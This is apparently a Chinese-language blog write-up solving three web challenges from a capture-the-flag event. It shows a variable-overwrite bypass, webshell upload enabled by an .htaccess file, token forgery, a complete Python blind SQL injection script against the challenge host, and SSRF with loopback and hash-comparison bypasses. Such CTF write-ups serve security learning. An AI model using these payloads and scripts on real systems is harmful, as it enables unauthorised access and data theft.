Dragon-CTF web方向 write up(全)
一点废话:
最近想锻炼一下写博客的能力,所以就开始记录一下最近干的事了,这是第一个自己AK的比赛,虽然难度真的很低T^T,但是也给自己提供了一点点坚持学下去的动力吧。。。。。希望自己能坚持下去
ezsign
- 通过
dirsearch
扫出来了index.php.bak
,关键源码如下:
- 看见
extract($_GET);
就应该想到变量覆盖漏洞,后面有$_SERVER['REMOTE_ADDR']
的验证,那直接传参?$_SERVER[REMOTE_ADDR]=127.0.0.1
就直接可以绕过了 - 绕过之后就可以进行文件上传了
- 直接上传一句话木马的
php
文件但是发现不能正常解析,源码直接回显了,想了一下应该是配置文件里面进行了相关设置,那我们自己上传.htaccess
文件改配置就可以了,.htaccess
文件内容如下php_flag engine on # 打开php解析 AddType application/x-httpd-php .php # 将该目录及子目录的所有文件均映射为php文件类型
- 上传之
php
文件就可以正常解析了
EzLogin
- 进入页面查看源代码发现提示
register.html
,访问进行注册,注册成功后进行登录,自动跳转到home.php
页面,但是页面回显信息显示you are not admin
,说明需要身份伪造 - 抓包发现,在登录成功后,服务器会给我们设定一个
TOKEN
TOKEN
进行十六进制解码然后base64
解码:{"username":"admin'/**/and/**/select#", "token":"bfd531fa2ca0d94aa49a0bc25f715972", "is_admin":0}
,将0
改为1
就可以进行身份伪造- 身份伪造之后可以成功进入
home
页面,页面信息为:
- 很明显是根据名字查询密码了,那说明可以注册的时候,在
username
这里写入sql
语句进行注入,注出来admin
密码为@q^4*!z8a9-%42z.s~
- 经过测试发现
sql
很多关键词被过滤了,但是and
,select
等还是可以用的,考虑盲注 - 由于要先注册,然后登录,然后篡改
TOKEN
,最后再访问home.php
页面,所以得写个脚本了import requests import base64 import binascii url = "http://challenge.qsnctf.com:30343/" result = "" for i in range(,60): string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890,-abcdefghijklmnopqrstuvwxyz}{_" for j in range(32,128): # for j in string: # 爆数据库 # data = "admin'/**/and/**/(ascii(substr((select(database())),{},1))={})/**/#".format(i,j) # 爆表 user,secret # data = "admin'/**/and/**/(ascii(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit/**/0,1),{},1))={})/**/#".format(i,j) # data = "admin'/**/and/**/(substr((select(table_name)from(information_schema.tables)where(table_schema=database())limit/**/1,1),{},1)='{}')/**/#".format(i,j) # 爆列 # data = "admin'/**/and/**/(substr((select(column_name)from(information_schema.columns)where(table_name='secret')limit/**/1,1),{},1)='{}')/**/#".format(i,j) # 爆值 # data = "admin'/**/and/**/(substr((select(sseeccrreett)from(secret)),{},1)='{}')/**/#".format(i,j) data = "admin'/**/and/**/(ascii(substr((select(sseeccrreett)from(secret)),{},1))='{}')/**/#".format(i,j) # 注册 register_data = { 'username': data, 'password': '123' } register_response = requests.post(url = url + 'register.php', data=register_data) # print("Registration Response:", register_response.text) # 登录 login_data = { 'username': data, 'password': '123' } login_response = requests.post(url = url + 'login.php', data=login_data, allow_redirects=False) token = login_response.headers['Set-Cookie'][6:] # print("Original Token:", token) # 伪造token decoded_hex = binascii.unhexlify(token) decoded_base64 = base64.b64decode(decoded_hex) # print("Decoded Base64:", decoded_base64) modified_base64 = decoded_base64.replace(b'"is_admin":0', b'"is_admin":1') # print("Modified Base64:", modified_base64) encoded_base64 = base64.b64encode(modified_base64) encoded_hex = binascii.hexlify(encoded_base64).decode() # print("Encoded Hex:", encoded_hex) # 访问home.php # Step 4: Access home.php with the modified token headers = { 'Cookie': 'TOKEN=' + encoded_hex } home_response = requests.get(url = url + 'home.php', headers=headers) # print("Home Response:", home_response.text) if '@q^4*!z8a9-%42z.s~' in home_response.text: result+=chr(j) # result+=j break print(result)
穿梭隐藏的密钥
-
ctrl+u
查看源代码,发现c3s4f.php
页面 -
提示
fuzz
参数,fuzz
出来参数为shell
-
传参
shell=123
,出现curl error
,说明存在ssrf
-
发现只能使用
http
协议,并且127.0.0.1
被过滤,通过http://sudo.cc
绕过 -
然后尝试了很多方法,测试过程中发现存在
flag.php
但是没有回显,直接提示要找秘密文件,然后就很无语的情况下传参?shell=http://sudo.cc/secret.php
,得到提示路径cha11eng3.php
以及key=MSIBLG
(看来作者是BLG粉丝哈哈) -
路径
cha11eng3.php
的源码:
-
第一层绕过:传参
?DrKn=data://text/plain,MSIBLG
,MSIBLG
由cha11eng3.php
得到,输出key1=M_ore.8
-
第二层绕过:
M[ore.8=0e001233333333333334557778889
(参考[第四届-强网杯]:Funhash) -
第三层绕过:
wtf[]=1&mC[]=2
(POST
方式传)
由于没打算写这篇博客,所以很多图都没存,写的时候已经没有环境了,所以感觉有很多没写清楚的地方,不过没事反正也没有人看嘻嘻